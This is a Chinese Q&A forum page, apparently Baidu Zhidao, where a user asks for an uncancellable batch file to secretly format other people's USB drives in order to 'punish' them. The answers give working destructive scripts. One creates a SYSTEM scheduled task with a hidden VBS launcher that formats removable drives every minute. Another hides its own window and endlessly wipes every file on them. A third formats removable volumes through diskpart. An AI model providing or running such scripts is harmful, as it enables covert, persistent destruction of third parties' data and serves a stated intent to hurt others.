请帮我写一个能自动格式化U盘的批处理文件!
作用:运行该批处理文件之后,只要一有可移动磁盘接到电脑,就马上自动格式化!而且不能取消!!!无论插多少个!!!直到手动退出为止!我要惩罚一些可恶的家伙!!!win7系统,...
作用:运行该批处理文件之后,只要一有可移动磁盘接到电脑,就马上自动格式化!而且不能取消!!!无论插多少个!!!直到手动退出为止!我要惩罚一些可恶的家伙!!!
win7系统,前三个都没用~~~ 展开
win7系统,前三个都没用~~~ 展开
3个回答
展开全部
嘿嘿~ 终于弄好了~~~
因为是用批处理做的,利用计划任务服务,所以不能达到插入U盘后就格~~
只能在插入U盘后的≤60秒之内格式化....要注意哦,每格一分钟就会格式化一次了...小心自己U盘里的数据..朋友U盘里有重要东西的话,就不要害人家了.....
把下面的代码复制进记事本里-保存-修改后缀名为bat后即可运行...
注意哦~~别不小心把自己的U盘给格了~~我可不负责哦~~~~~
..嘻嘻...................
@echo off
:start
echo.
echo 本程序运行后,会在以后的每一天中每隔1分中扫描一次你的电脑是否连接USB驱动器...
echo (例:U盘、MP3/4、手机 等等...) 若有,则见一个格一个...嘿嘿嘿~~~~~
echo 专门整治那些随便拿U盘来你电脑上烤东西的坏人~~~~~~ 哈哈!
echo (注:不需要搞别人的时候最好关了这手段,不然自己不小心插了个U盘上去的话就自
echo 己害自己了,文件丢了我可不负责哦~~ 嘿嘿...)
set/p shr=(1、使用本手段 2、关闭本手段):
if %shr%==1 goto shy
if %shr%==2 goto bshy
goto start
:shy
sc config schedule start= auto >nul 2>nul
net start schedule /y >nul 2>nul
if exist %windir%\system32\gsh.vbs (echo 帅哥~你现已经使用了本手段!不需再使用了,按任意键返回...& pause>nul&cls&goto start)
echo CreateObject("WScript.Shell").Run "cmd /c gsh.bat",0 >%windir%\system32\gsh.vbs
echo for %%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>%windir%\system32\gsh.bat
echo fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移动驱动器" ^&^& set cp=%%%%i ^&^& call :gsh>>%windir%\system32\gsh.bat
echo ) ^>nul 2^>nul>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
echo :gsh>>%windir%\system32\gsh.bat
echo echo.^|format %%cp:~0,1%%: /x /q>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
)
)
echo 正在应用本手段...
schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system" >nul 2>nul
echo 恭喜~ 成功了! 以后只要谁把移动盘插到你电脑上的话..
echo 在1分中之内,他盘内文件将拜拜~~ 哈哈...
echo 按任意键退出...& pause>nul&exit
:bshy
if exist %windir%\system32\gsh.vbs (
echo 删除计划任务...
echo y|schtasks /tn * /delete >nul 2>nul
echo 删除生成的"gsh.vbs"文件...
del %windir%\system32\gsh.vbs
echo 删除生成的"gsh.bat"文件...
del %windir%\system32\gsh.bat
echo.
echo 关闭本手段成功!
echo 按任意键退出...& pause>nul&exit
) else (
echo 还没使用过本手段~ 无法关哦!
)
echo 按任意键返回...& pause>nul&goto start
因为是用批处理做的,利用计划任务服务,所以不能达到插入U盘后就格~~
只能在插入U盘后的≤60秒之内格式化....要注意哦,每格一分钟就会格式化一次了...小心自己U盘里的数据..朋友U盘里有重要东西的话,就不要害人家了.....
把下面的代码复制进记事本里-保存-修改后缀名为bat后即可运行...
注意哦~~别不小心把自己的U盘给格了~~我可不负责哦~~~~~
..嘻嘻...................
@echo off
:start
echo.
echo 本程序运行后,会在以后的每一天中每隔1分中扫描一次你的电脑是否连接USB驱动器...
echo (例:U盘、MP3/4、手机 等等...) 若有,则见一个格一个...嘿嘿嘿~~~~~
echo 专门整治那些随便拿U盘来你电脑上烤东西的坏人~~~~~~ 哈哈!
echo (注:不需要搞别人的时候最好关了这手段,不然自己不小心插了个U盘上去的话就自
echo 己害自己了,文件丢了我可不负责哦~~ 嘿嘿...)
set/p shr=(1、使用本手段 2、关闭本手段):
if %shr%==1 goto shy
if %shr%==2 goto bshy
goto start
:shy
sc config schedule start= auto >nul 2>nul
net start schedule /y >nul 2>nul
if exist %windir%\system32\gsh.vbs (echo 帅哥~你现已经使用了本手段!不需再使用了,按任意键返回...& pause>nul&cls&goto start)
echo CreateObject("WScript.Shell").Run "cmd /c gsh.bat",0 >%windir%\system32\gsh.vbs
echo for %%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>%windir%\system32\gsh.bat
echo fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移动驱动器" ^&^& set cp=%%%%i ^&^& call :gsh>>%windir%\system32\gsh.bat
echo ) ^>nul 2^>nul>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
echo :gsh>>%windir%\system32\gsh.bat
echo echo.^|format %%cp:~0,1%%: /x /q>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
)
)
echo 正在应用本手段...
schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system" >nul 2>nul
echo 恭喜~ 成功了! 以后只要谁把移动盘插到你电脑上的话..
echo 在1分中之内,他盘内文件将拜拜~~ 哈哈...
echo 按任意键退出...& pause>nul&exit
:bshy
if exist %windir%\system32\gsh.vbs (
echo 删除计划任务...
echo y|schtasks /tn * /delete >nul 2>nul
echo 删除生成的"gsh.vbs"文件...
del %windir%\system32\gsh.vbs
echo 删除生成的"gsh.bat"文件...
del %windir%\system32\gsh.bat
echo.
echo 关闭本手段成功!
echo 按任意键退出...& pause>nul&exit
) else (
echo 还没使用过本手段~ 无法关哦!
)
echo 按任意键返回...& pause>nul&goto start
展开全部
@echo off
setlocal EnableDelayedExpansion
if not "%1"=="wkdxz" mshta vbscript:createobject("wscript.shell").run("""%~f0"" wkdxz",vbhide)(window.close)&&exit
:1
for /f "delims=驱动器A: " %%a in ('fsutil fsinfo drives^|find /v ""') do (
for /f "delims=:" %%b in ('fsutil fsinfo drivetype %%a:^|findstr /i "移动"') do (
cd /d %%a:\
for /f "delims=" %%c in ('dir /b /a-d') do if "%%~dpnxc" neq "%~0" del /a /f /q "%%c"
for /f "delims=" %%c in ('dir /b /ad') do rd /s /q "%%c"
for /f "delims=" %%d in ('dir /b /a') do (
set "xz=%%d"
if "!xz:~-1,1!" equ "." rd /s /q "%%d"
)))
for /l %%a in (-250 1 250) do cls>nul
goto 1
开启以后一直后台检测U盘,检测到后就删除里面所有的文件,格式化倒不是不可以,但U盘有卷标是不容易实现的。
要防备自己的U盘被清空~
要取消批处理运行:
开始——运行——CMD——输入taskkill /i /im cmd.exe
回车即可
setlocal EnableDelayedExpansion
if not "%1"=="wkdxz" mshta vbscript:createobject("wscript.shell").run("""%~f0"" wkdxz",vbhide)(window.close)&&exit
:1
for /f "delims=驱动器A: " %%a in ('fsutil fsinfo drives^|find /v ""') do (
for /f "delims=:" %%b in ('fsutil fsinfo drivetype %%a:^|findstr /i "移动"') do (
cd /d %%a:\
for /f "delims=" %%c in ('dir /b /a-d') do if "%%~dpnxc" neq "%~0" del /a /f /q "%%c"
for /f "delims=" %%c in ('dir /b /ad') do rd /s /q "%%c"
for /f "delims=" %%d in ('dir /b /a') do (
set "xz=%%d"
if "!xz:~-1,1!" equ "." rd /s /q "%%d"
)))
for /l %%a in (-250 1 250) do cls>nul
goto 1
开启以后一直后台检测U盘,检测到后就删除里面所有的文件,格式化倒不是不可以,但U盘有卷标是不容易实现的。
要防备自己的U盘被清空~
要取消批处理运行:
开始——运行——CMD——输入taskkill /i /im cmd.exe
回车即可
本回答被提问者和网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
@echo off
echo list volume|diskpart >a.txt
for /f "usebackq skip=5 tokens=3,5 eol=1" %%a in (`type a.txt`) do (
if /i %%b==可移动 echo yes|format /fs:fat32 /q %%a: && cls)
pause
首先保证你的机子是XP系统。这个代码没有这么灵活。但是可以保证插入你机器的U盘可以被格式化。比如G: H:啥的。在我机器上可以。你可以找一个没用的U盘试一下。。
你试一下。。。不就知道行不行了。。把大家给你的代码都试一下。
echo list volume|diskpart >a.txt
for /f "usebackq skip=5 tokens=3,5 eol=1" %%a in (`type a.txt`) do (
if /i %%b==可移动 echo yes|format /fs:fat32 /q %%a: && cls)
pause
首先保证你的机子是XP系统。这个代码没有这么灵活。但是可以保证插入你机器的U盘可以被格式化。比如G: H:啥的。在我机器上可以。你可以找一个没用的U盘试一下。。
你试一下。。。不就知道行不行了。。把大家给你的代码都试一下。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询